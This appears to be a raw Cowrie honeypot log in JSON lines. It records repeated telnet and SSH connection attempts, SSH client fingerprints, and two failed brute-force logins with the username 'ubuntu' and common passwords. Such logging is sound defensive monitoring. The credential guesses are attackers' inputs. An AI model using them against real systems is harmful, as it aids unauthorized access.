{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57510,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfcb32fda8d","protocol":"telnet","message":"New connection: 160.250.202.248:57510 (159.203.135.109:23) [session: 9bfcb32fda8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:49.063838Z"}
{"eventid":"cowrie.session.closed","duration":30.459867477416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:49.470506Z","src_ip":"160.250.202.248","session":"439e4fd5c3b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60022,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef9c29c6978","protocol":"telnet","message":"New connection: 160.250.202.248:60022 (159.203.135.109:23) [session: 1ef9c29c6978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:50.264489Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bcb8140e0b3","protocol":"telnet","message":"New connection: 160.250.202.248:33062 (159.203.135.109:23) [session: 8bcb8140e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:50.850004Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33455,"dst_ip":"159.203.135.109","dst_port":23,"session":"5952ff75f074","protocol":"telnet","message":"New connection: 160.250.202.248:33455 (159.203.135.109:23) [session: 5952ff75f074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:50.998215Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33752,"dst_ip":"159.203.135.109","dst_port":23,"session":"99cb15a3dfc2","protocol":"telnet","message":"New connection: 160.250.202.248:33752 (159.203.135.109:23) [session: 99cb15a3dfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:51.126106Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":53052,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84e1210878f","protocol":"ssh","message":"New connection: 117.247.23.131:53052 (159.203.135.109:22) [session: b84e1210878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:52.303056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:52.307438Z","src_ip":"117.247.23.131","session":"b84e1210878f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:52.917946Z","src_ip":"117.247.23.131","session":"b84e1210878f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":37558,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7d3197e332","protocol":"telnet","message":"New connection: 160.250.202.248:37558 (159.203.135.109:23) [session: fe7d3197e332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:52.958230Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":37588,"dst_ip":"159.203.135.109","dst_port":23,"session":"821caaff422d","protocol":"telnet","message":"New connection: 160.250.202.248:37588 (159.203.135.109:23) [session: 821caaff422d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:52.967470Z"}
{"eventid":"cowrie.session.closed","duration":30.930927276611328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:53.478126Z","src_ip":"160.250.202.248","session":"606248cde903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386929750442505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.495598Z","src_ip":"160.250.202.248","session":"0a20739a7e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873741149902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.516559Z","src_ip":"160.250.202.248","session":"7aa720bce439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419153928756714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.521306Z","src_ip":"160.250.202.248","session":"1776e5f3921e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":48566,"dst_ip":"10.17.0.5","dst_port":22,"session":"338a6c6bc931","protocol":"ssh","message":"New connection: 20.193.141.133:48566 (10.17.0.5:22) [session: 338a6c6bc931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.554829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.562268Z","src_ip":"20.193.141.133","session":"338a6c6bc931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9c3df0510f0","protocol":"telnet","message":"New connection: 160.250.202.248:41152 (159.203.135.109:23) [session: d9c3df0510f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.684901Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:54.759217Z","src_ip":"20.193.141.133","session":"338a6c6bc931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41846,"dst_ip":"159.203.135.109","dst_port":23,"session":"436802e0c7b6","protocol":"telnet","message":"New connection: 160.250.202.248:41846 (159.203.135.109:23) [session: 436802e0c7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:55.000041Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":42268,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c104fd75b70","protocol":"telnet","message":"New connection: 160.250.202.248:42268 (159.203.135.109:23) [session: 6c104fd75b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:55.207962Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password.1","message":"login attempt [ubuntu/Password.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:55.579353Z","src_ip":"20.193.141.133","session":"338a6c6bc931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":43222,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf31fb35af7","protocol":"telnet","message":"New connection: 160.250.202.248:43222 (159.203.135.109:23) [session: daf31fb35af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:55.737846Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d630e5f9d1a","protocol":"telnet","message":"New connection: 160.250.202.248:44360 (159.203.135.109:23) [session: 2d630e5f9d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:56.287352Z"}
{"eventid":"cowrie.session.closed","duration":30.38475275039673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:56.481500Z","src_ip":"160.250.202.248","session":"c28ad5dc5990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:56.777866Z","src_ip":"20.193.141.133","session":"338a6c6bc931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":46034,"dst_ip":"159.203.135.109","dst_port":23,"session":"df449ba99c9f","protocol":"telnet","message":"New connection: 160.250.202.248:46034 (159.203.135.109:23) [session: df449ba99c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:57.121610Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweasdzxc","message":"login attempt [ubuntu/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:57.206499Z","src_ip":"117.247.23.131","session":"b84e1210878f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd0e88437ac","protocol":"telnet","message":"New connection: 160.250.202.248:46350 (159.203.135.109:23) [session: dcd0e88437ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:57.264128Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":47774,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6d91ab1d11","protocol":"telnet","message":"New connection: 160.250.202.248:47774 (159.203.135.109:23) [session: ac6d91ab1d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.013168Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":47828,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6228c3fbe5d","protocol":"telnet","message":"New connection: 160.250.202.248:47828 (159.203.135.109:23) [session: f6228c3fbe5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.049531Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":48634,"dst_ip":"159.203.135.109","dst_port":23,"session":"9371b3d10deb","protocol":"telnet","message":"New connection: 160.250.202.248:48634 (159.203.135.109:23) [session: 9371b3d10deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.551015Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":48760,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30d926fdaf3","protocol":"telnet","message":"New connection: 160.250.202.248:48760 (159.203.135.109:23) [session: a30d926fdaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.623449Z"}
{"eventid":"cowrie.session.closed","duration":30.826807737350464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.821546Z","src_ip":"160.250.202.248","session":"61eedba9c116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:58.926522Z","src_ip":"117.247.23.131","session":"b84e1210878f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.463857889175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:59.471935Z","src_ip":"160.250.202.248","session":"2d3696d4ac0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51574,"dst_ip":"159.203.135.109","dst_port":23,"session":"b226b9eb502d","protocol":"telnet","message":"New connection: 160.250.202.248:51574 (159.203.135.109:23) [session: b226b9eb502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:00.029835Z"}
{"eventid":"cowrie.session.closed","duration":30.512797117233276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:02.477854Z","src_ip":"160.250.202.248","session":"33111cccb0de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489551544189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:02.487646Z","src_ip":"160.250.202.248","session":"9fb0828699e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":58076,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fd3fc98bca","protocol":"telnet","message":"New connection: 160.250.202.248:58076 (159.203.135.109:23) [session: 61fd3fc98bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:03.174811Z"}
{"eventid":"cowrie.session.closed","duration":30.514995098114014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:03.474733Z","src_ip":"160.250.202.248","session":"7844e11c5217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512348651885986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:03.517668Z","src_ip":"160.250.202.248","session":"2cc544d1c352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195306062698364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:03.585860Z","src_ip":"160.250.202.248","session":"cbc7bcc3f52d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":34932,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9f26f91c13","protocol":"telnet","message":"New connection: 160.250.202.248:34932 (159.203.135.109:23) [session: fc9f26f91c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:05.717294Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":35712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5956c7db23b9","protocol":"telnet","message":"New connection: 160.250.202.248:35712 (159.203.135.109:23) [session: 5956c7db23b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:06.026659Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36106,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f9646f0b0bf","protocol":"telnet","message":"New connection: 160.250.202.248:36106 (159.203.135.109:23) [session: 2f9646f0b0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:06.201948Z"}
{"eventid":"cowrie.session.closed","duration":31.04589080810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:06.480081Z","src_ip":"160.250.202.248","session":"35a96af13475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":38170,"dst_ip":"159.203.135.109","dst_port":23,"session":"efd9ae36bc95","protocol":"telnet","message":"New connection: 160.250.202.248:38170 (159.203.135.109:23) [session: efd9ae36bc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:07.050012Z"}
{"eventid":"cowrie.session.closed","duration":30.49272918701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:07.475802Z","src_ip":"160.250.202.248","session":"87cadd86805e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658459186553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:07.481179Z","src_ip":"160.250.202.248","session":"69e6c14f53ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525092601776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:08.488297Z","src_ip":"160.250.202.248","session":"d1e0bb03c256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524895429611206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:08.492380Z","src_ip":"160.250.202.248","session":"98652fa7393f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9312162399292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:08.503001Z","src_ip":"160.250.202.248","session":"8263aa415869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":42954,"dst_ip":"159.203.135.109","dst_port":23,"session":"62fb7751a1f1","protocol":"telnet","message":"New connection: 160.250.202.248:42954 (159.203.135.109:23) [session: 62fb7751a1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:08.996667Z"}
{"eventid":"cowrie.session.closed","duration":30.524412870407104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:09.483475Z","src_ip":"160.250.202.248","session":"e4d4ae1c4b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":44392,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc953500b061","protocol":"telnet","message":"New connection: 160.250.202.248:44392 (159.203.135.109:23) [session: cc953500b061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:09.757550Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":44836,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd78150836a4","protocol":"telnet","message":"New connection: 160.250.202.248:44836 (159.203.135.109:23) [session: fd78150836a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:09.983212Z"}
{"eventid":"cowrie.session.closed","duration":30.451598167419434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:10.479708Z","src_ip":"160.250.202.248","session":"1218315fa922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49162,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b75e8cc32c6","protocol":"telnet","message":"New connection: 160.250.202.248:49162 (159.203.135.109:23) [session: 1b75e8cc32c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:12.010293Z"}
{"eventid":"cowrie.session.closed","duration":30.48613977432251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:12.492696Z","src_ip":"160.250.202.248","session":"2a2f13899b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50318,"dst_ip":"159.203.135.109","dst_port":23,"session":"2065fa30f3cb","protocol":"telnet","message":"New connection: 160.250.202.248:50318 (159.203.135.109:23) [session: 2065fa30f3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:12.530692Z"}
{"eventid":"cowrie.session.closed","duration":30.49852728843689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:12.557572Z","src_ip":"160.250.202.248","session":"352ee742335e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47428297996521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:13.516052Z","src_ip":"160.250.202.248","session":"12f0be2d392c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480130434036255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:14.502979Z","src_ip":"160.250.202.248","session":"a001c5e35bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727118968963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:15.478760Z","src_ip":"160.250.202.248","session":"daa82f1d471a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635342597961426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:15.526250Z","src_ip":"160.250.202.248","session":"10fd8b99f11c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":58644,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ae1e4b204e","protocol":"telnet","message":"New connection: 160.250.202.248:58644 (159.203.135.109:23) [session: b6ae1e4b204e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.368880Z"}
{"eventid":"cowrie.session.closed","duration":30.467034101486206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.474482Z","src_ip":"160.250.202.248","session":"0588293c7cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565600395202637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.555316Z","src_ip":"160.250.202.248","session":"b8afc3ff1cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42952,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac57bbf227f","protocol":"ssh","message":"New connection: 159.203.92.129:42952 (159.203.135.109:22) [session: 6ac57bbf227f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.560242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.568253Z","src_ip":"159.203.92.129","session":"6ac57bbf227f","protocol":"ssh"}
